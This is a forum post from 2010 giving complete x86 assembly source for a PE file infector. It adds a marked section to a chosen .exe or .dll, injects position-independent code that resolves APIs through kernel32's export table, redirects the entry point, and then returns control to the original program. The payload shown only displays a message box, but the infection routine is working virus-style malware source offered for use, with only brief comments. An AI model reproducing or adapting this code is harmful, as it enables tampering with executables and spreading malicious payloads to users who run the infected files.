-
-
[原创]add_sections_run.asm
-
发表于: 2010-8-19 10:02 5264
-
;不能感染正在运行的文件(包括本身)。
;节头后面有数据的文件不能感染(系统文件的节头后面大多有数据)。
;没有没有异常处理。
.386
.model flat,stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
include comdlg32.inc
includelib user32.lib
includelib kernel32.lib
includelib comdlg32.lib
.data
FilterString db "pe File (*.exe, *.dll)",0,"*.exe;*.dll",0,0
sectionname db ".correy ",0;新加节的名字。同时也是感染标志。
Characteristics dword 0e0000020h ;新加节的属性。
wrong db "节头后面有数据,添加节失败。",0
infect db "文件已经感染!",0
.data?
ofn OPENFILENAME <>
buffercmp db 40 dup (?)
buffer db 256 DUP (?)
;好多变量哟!我看了就晕,因为pe32文件太复杂了。
mz dd ?
pe dd ?
OptionalHeader dd ?
header dd ?
sizeOfOptionalHeader dd ?
sizeofallheader dd ?
lsizeofallheader dd ?
sections dd ?
newheader dd ?;新添加节的节头的位置
lnewheader dd ? ;新添加节的节头的距离
hfile dd ?
lpe dd ? ;pe的距离
sectionalignment dd ?
filealignment dd ?
x dd ?
y dd ?
z dd ?
startwritecode dd ?
newsizeofrawdata dd ?
newsizeofcode dd ?
newsizeofimage dd ?
alignvirtualsize dd ?
oldaddressofentrypoint dd ?
newaddressofentrypoint dd ?
.code
correy db "made by correy ",0
vdata db 0
szGetProcAddress db "GetProcAddress",0
szLoadLibrary db 'LoadLibraryA',0
szUser32 db 'user32',0
szmessagebox db 'MessageBoxA',0
pel dd ?;
OptionalHeaderl dd ?;
headerl dd ? ;
sizeOfOptionalHeaderl dd ?;
sectionsl dd ?
nnps dd ?
e dd ?;
k dd ?;
apiaddress dd ?;
apinameaddress dd ?;
ordinaladdress dd ?;
apis dd ?
n dd ?;
i dd ?;
o dd ?;
f dd ?;
ob dd ?
ipapiloadlibrary dd ?
ipapiuser32 dd ?
ipapimessagebox dd ?
vstartcode:
call rel
rel: pop ebx
sub ebx,rel
push [esp]
mov edi,[esp]
and edi,0ffff0000h
againk:push edi
cmp word ptr [edi],5a4dh
jne nextk
add edi,[edi+3ch]
cmp word ptr [edi],4550h
jne nextk
pop edi
mov eax,edi
jmp showk
nextk:pop edi
sub edi,10000h
jmp againk
showk:mov [ebx+k],eax;[ebx+]
add eax,3ch
mov eax,[eax]
add eax,[ebx+k]
mov [ebx+pel],eax
mov esi,[ebx+pel]
add esi,6
mov dx,word ptr [esi]
movsx edx,dx
mov [ebx+sectionsl],edx
mov esi,[ebx+pel]
add esi,24
mov [ebx+OptionalHeaderl],esi ;保存可选头的地址。
mov esi,[ebx+pel]
add esi,20
mov dx,word ptr [esi]
movsx edx,dx
mov [ebx+sizeOfOptionalHeaderl],edx
mov esi,[ebx+OptionalHeaderl ]
add esi,[ebx+sizeOfOptionalHeaderl]
mov [ebx+headerl],esi ;保存节头的地址。
mov esi,[ebx+OptionalHeaderl]
add esi,96
mov esi,[esi]
mov edi,esi
add esi,[ebx+k]
add edi,[ebx+k]
mov [ebx+e],edi;导出节或导出目录表的首地址
mov edi,[ebx+e]
add edi,12
mov edi,[edi]
add edi,[ebx+k]
mov edi,[ebx+e]
add edi,16
mov edi,[edi]
mov [ebx+ob],edi
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
mov edi,[ebx+e]
add edi,20
mov edi,[edi]
mov [ebx+apis],edi
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
mov edi,[ebx+e]
add edi,24
mov edi,[edi]
mov [ebx+nnps],edi
mov edi,[ebx+e]
add edi,28
mov edi,[edi]
add edi,[ebx+k]
mov [ebx+apiaddress],edi ;导出地址表的首地址
mov edi,[ebx+e]
add edi,32
mov edi,[edi]
add edi,[ebx+k]
mov [ebx+apinameaddress],edi ;导出名称指针表的首地址
mov edi,[ebx+e]
add edi,36
mov edi,[edi]
add edi,[ebx+k]
mov [ebx+ordinaladdress],edi ;导出序数表的首地址
;求GetProcAddress函数在文件中的位置
mov edx,[ebx+apinameaddress]
xor eax,eax
againke:push edx
mov edi,[edx]
add edi,[ebx+k]
push eax
lea eax,[ebx+szGetProcAddress]
mov esi,eax
pop eax
mov ecx,14;GetProcAddress字符的长度。
repe cmpsb
je nextke
pop edx
add edx,4
inc eax
jmp againke
nextke:add eax,[ebx+ob];加上基数
mov [ebx+i],eax
;求GetProcAddress函数的序数
mov eax,[ebx+i]
mov edx,[ebx+ordinaladdress]
shl eax,1
add eax,edx
movzx eax,word ptr [eax]
mov [ebx+o],eax
;求GetProcAddress函数的地址
mov eax,[ebx+o]
sub eax,[ebx+ob];减去基数
mov edx,[ebx+apiaddress]
shl eax,2
add eax,edx
mov eax,[eax]
add eax,[ebx+k]
mov [ebx+f],eax
;求loadlibrary函数的地址
lea eax,[ebx+szLoadLibrary]
push eax
push [ebx+k]
call [ebx+f];eax
mov [ebx+ipapiloadlibrary],eax
;求user32.dll文件的地址
lea eax,[ebx+szUser32]
push eax
call [ebx+ipapiloadlibrary]
mov [ebx+ipapiuser32],eax
;求MessageBox函数的地址
lea eax,[ebx+szmessagebox]
push eax
push [ebx+ipapiuser32]
call [ebx+f]
mov [ebx+ipapimessagebox],eax
;显示一个信息
push 0
lea eax,[ebx+correy]
push eax
push eax
push 0
call [ebx+ipapimessagebox]
jmptoold:
db 0e9h
oldentry:
dd ?
vendcode dd ?
alignit proc sizes,aligns
push edx
mov eax,sizes
xor edx,edx
div aligns
cmp edx,0
je next
inc eax
next:mul aligns
pop edx
ret
alignit endp
start:
mov ofn.lStructSize,SIZEOF ofn
mov ofn.lpstrFilter, OFFSET FilterString
mov ofn.lpstrFile, OFFSET buffer
mov ofn.nMaxFile,512
mov ofn.Flags,00281804h
invoke GetOpenFileName, ADDR ofn
invoke CreateFile,addr buffer,0c0000000h,3,0,3,80h,0
mov hfile,eax
invoke CreateFileMapping,eax,0,2,0,0,0
invoke MapViewOfFile,eax,4,0,0,0
;没有判断是否是pe文件,有极少数带pe后缀名却非正常pe格式的。
mov mz,eax
mov esi,mz
add esi,3ch
mov esi,[esi]
mov lpe,esi
mov eax,mz
add esi,eax
mov pe,esi;"pe"的位置。
mov esi,pe
add esi,6
mov dx,word ptr [esi]
movsx edx,dx
mov sections,edx;节的数目。
mov esi,pe
add esi,24
mov OptionalHeader,esi ;可选头的地址。
mov esi,pe
add esi,40
mov esi,[esi]
mov oldaddressofentrypoint,esi ;原来程序的入口点
mov esi,pe
add esi,20
mov dx,word ptr [esi]
movsx edx,dx
mov sizeOfOptionalHeader,edx;可选头的大小。
mov esi,pe
add esi,84
mov esi,[esi]
mov sizeofallheader,esi ;pe文件头的大小
mov eax,mz
add eax,sizeofallheader
mov lsizeofallheader,eax;第一个节的位置,也就是文件头的尾部。
mov esi,pe
add esi,56
mov esi,[esi]
mov sectionalignment,esi ;节对齐的尺寸。
mov esi,pe
add esi,60
mov esi,[esi]
mov filealignment,esi ;文件对齐的尺寸。
mov esi,OptionalHeader
add esi,sizeOfOptionalHeader
mov header,esi ;保存节头的地址。
mov eax,40
mov ebx,sections
mul ebx
add eax,header
mov newheader,eax;预定新添加节的节头的位置
sub eax,mz
mov lnewheader,eax
;判断是否已经感染,感染标志是上一个节头的名字。
mov eax,newheader
sub eax,40
mov esi,eax
lea edi,sectionname
mov ecx,8
repe cmpsb
je infected
;判断预定的此位置是否可以使用。
;本人不善用scasb,所以定义个变量,用cmpsb.
lea esi,buffercmp
mov eax,mz
add eax,lnewheader
mov edi,eax
mov ecx,40
repe cmpsb
je startadd
jmp err
startadd:
;设置节的数量。
mov eax,lpe
add eax,6
invoke SetFilePointer,hfile,eax,0,0
inc sections
invoke WriteFile,hfile,addr sections,2,addr buffer,0
;设置节的名字。
invoke SetFilePointer,hfile,lnewheader,0,0
invoke WriteFile,hfile,addr sectionname,8,addr buffer,0
;设置新加节的virtualsize
mov x,offset vendcode - offset correy
invoke WriteFile,hfile,addr x,4,addr buffer,0
push sectionalignment
push x
call alignit
mov alignvirtualsize,eax
;设置新加节的virtualaddress
;实现方法是假设最后一个节头的virtualaddress最大。
;等于上一个节表的某两项之和。
mov eax,newheader
sub eax,28
mov eax,[eax]
mov y,eax
mov eax,newheader
sub eax,32
mov eax,[eax]
mov x,eax
push sectionalignment
push x
call alignit
add eax,y
mov y,eax
invoke WriteFile,hfile,addr y,4,addr buffer,0
;设置新加节的sizeofrawdata
push filealignment
push x
call alignit
mov newsizeofrawdata,eax
invoke WriteFile,hfile,addr newsizeofrawdata,4,addr buffer,0
;设置新加节的pointertorawdata
mov eax,newheader
sub eax,20
mov eax,[eax]
mov x,eax
mov eax,newheader
sub eax,24
mov eax,[eax]
add eax,x
mov startwritecode,eax
invoke WriteFile,hfile,addr startwritecode,4,addr buffer,0
;设置节的属性
mov eax,lnewheader
add eax,36
invoke SetFilePointer,hfile,eax,0,0
invoke WriteFile,hfile,addr Characteristics,4,addr buffer,0
;修改可选头的sizeofcode
mov eax,pe
add eax,28
mov eax,[eax]
add eax,newsizeofrawdata;alignvirtualsize;
mov newsizeofcode,eax
mov ebx,lpe
add ebx,28
invoke SetFilePointer,hfile,ebx,0,0
invoke WriteFile,hfile,addr newsizeofcode,4,addr buffer,0
;修改可选头的sizeofimage
mov eax,pe
add eax,80
mov eax,[eax]
add eax,alignvirtualsize;newsizeofrawdata
mov newsizeofimage,eax
mov ebx,lpe
add ebx,80
invoke SetFilePointer,hfile,ebx,0,0
invoke WriteFile,hfile,addr newsizeofimage,4,addr buffer,0
;修改程序的入口点
mov eax,lpe
add eax,40
invoke SetFilePointer,hfile,eax,0,0
mov eax,y
add eax,offset vstartcode - offset correy
mov newaddressofentrypoint,eax
invoke WriteFile,hfile,addr newaddressofentrypoint,4,addr buffer,0
;写文件
invoke SetFilePointer,hfile,startwritecode,0,0
invoke WriteFile,hfile,addr correy,offset vendcode - offset correy,addr buffer,0
mov eax,newsizeofrawdata
add eax,startwritecode
push eax
invoke SetFilePointer,hfile,eax,0,0
pop eax
sub eax,sizeof correy
invoke SetFilePointer,hfile,eax,0,0
invoke WriteFile,hfile,addr correy,sizeof correy,addr buffer,0
;转回源程序的入口点
mov eax,startwritecode
add eax,offset oldentry - offset correy
invoke SetFilePointer,hfile,eax,0,0
mov eax,y
add eax,offset vendcode - offset correy ;+ 5 jmptoold
sub oldaddressofentrypoint,eax
invoke WriteFile,hfile,addr oldaddressofentrypoint,4,addr buffer,0
invoke FlushFileBuffers,hfile
invoke CloseHandle,hfile
jmp exit
infected:
invoke MessageBox,0,addr infect,0,0
jmp exit
err:
invoke MessageBox,0,addr wrong,0,0
exit:
invoke ExitProcess,NULL
end start
;made at 2010.07.16
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课